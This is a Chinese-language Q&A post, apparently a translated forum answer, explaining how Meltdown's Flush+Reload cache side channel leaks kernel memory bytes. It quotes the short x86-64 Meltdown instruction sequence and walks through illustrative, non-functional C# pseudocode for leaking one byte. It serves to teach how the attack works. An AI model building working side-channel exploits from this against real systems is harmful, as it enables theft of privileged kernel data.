我阅读了有关Meltdown/Spectre漏洞的文章,该文章允许使用CPU中的硬件错误从内核读取特权数据.它说:
诀窍是在正常用户进程中排列指令,使得处理器在执行任何安全检查之前推测性地从受保护的内核内存中获取数据.关键的Meltdown-exploiting x86-64代码可以像......一样简单
Run Code Online (Sandbox Code Playgroud); rcx = kernel address ; rbx = probe array retry: mov al, byte [rcx] shl rax, 0xc jz retry mov rbx, qword [rbx + rax]当用户进程触发异常时,尝试从内核地址获取一个字节 - 但后续指令已经不按规范推测执行,并根据获取的字节的内容触摸缓存行.
引发异常,并在其他地方进行非致命处理,而无序指令已经对字节的内容起作用.在缓存上执行一些Flush + Reload魔术会显示触摸了哪个缓存行,从而显示内核内存字节的内容.反复重复此操作,最后转储内核内存的内容.
有人可以解释这个Flush + Reload魔法是如何完成的,它如何揭示触摸的缓存线?
//再往下,C#中有伪代码显示完整的进程.
我们有一个内核地址rcx ,它是我们想要泄漏的内核内存空间中一个字节的地址(让我们调用那个字节"X"的值).当前正在运行的用户进程不允许访问此地址.这样做会抛出异常.
我们在用户空间中有一个大小为256*4096字节的探测器阵列,我们可以自由访问.所以,这只是一些正常的数组,正好是256页长.一页的大小是4096字节.
首先,执行刷新操作("Flush + Reload"的第一部分).这告诉处理器完全清除L1缓存.因此,L1缓存中没有缓存内存页面.(我们在OP的代码中没有看到)
然后我们执行OP中提到的代码.
mov al, byte [rcx]
Run Code Online (Sandbox Code Playgroud)
我们读取了要泄漏的内核地址的字节值X并将其存储在rax寄存器中.该指令将触发异常,因为我们不允许从用户级代码访问此内存地址.
但是,由于测试我们是否允许访问此地址需要一些时间,因此处理器将已开始执行以下语句.因此,我们想要知道存储在rax寄存器中的这些语句的字节值X.
shl rax, 0xc
Run Code Online (Sandbox Code Playgroud)
我们将此秘密值X乘以4096(页面大小).
mov rbx, qword [rbx + rax]
Run Code Online (Sandbox Code Playgroud)
现在,我们将rax寄存器中的计算值添加到探测器数组的起始处,并获取一个指向构成探测器阵列的内存空间中第X页的地址.
然后我们访问该地址的数据,这意味着探测器阵列的第X页被加载到L1缓存中.
现在,L1缓存是空的(因为我们已经在显式之前清除它),除了缓存中的两个页面:
现在,"Flush + Reload"的第二部分开始了.我们一个接一个地读取探针阵列中的每个页面,测量所需的时间.所以,我们总共加载了256页.这些页面加载中的255个将相当慢(因为相关的内存尚未在L1缓存中),但是一个加载(第X页的加载)将非常快(因为它之前在L1缓存中).
现在,因为我们发现加载Xth页面的速度最快,我们知道X是我们想要泄漏的内核地址的值.
从熔化纸中,这是显示在探针阵列中加载页面的时间测量的图形:
在这种情况下,X是84.
C#中的伪代码显示完整的过程:
public unsafe byte LeakByte(IntPtr kernelAddress)
{
const int PAGE_SIZE = 4096;
// Make probe array
byte[] probeArray = new byte[256 * PAGE_SIZE];
// Clear cash
Processor.ClearL1Cache();
try
{
// mov al, byte [rcx]
// This will throw an exception because we access illegal memory
byte secret = *((byte*)kernelAddress.ToPointer());
// Note that although the previous line logically
// throws an exception,
// the following code is still executed internally
// in the processor before the exception is
// actually triggered
// Although the following lines are executed, any assignments
// to variables are discarded by the processor at the time the
// exception is then actually thrown.
// shl rax, 0xc
int pageOffset = secret * PAGE_SIZE;
// mov rbx, qword [rbx + rax]
// This moves the page with number secret into the L1 cache.
int temp = probeArray[pageOffset];
}
catch
{
// Ignore Exception
}
// Now meassure time for accessing pages
int bestTime = int.MaxValue;
byte bestPage = 0;
for(int i=0; i<= 255, i++)
{
int startTime = DateTime.NowInNanoSeconds;
int temp = probeArray[i * PAGE_SIZE];
int endTime = DateTime.NowInNanoSeconds;
int timeTaken = endTime - startTime;
if(timeTaken < bestTime)
{
bestTime = timeTaken;
bestPage = (byte)i;
}
}
// Fastest page was loaded from Cache and is the leaked secret
return bestPage;
}
Run Code Online (Sandbox Code Playgroud)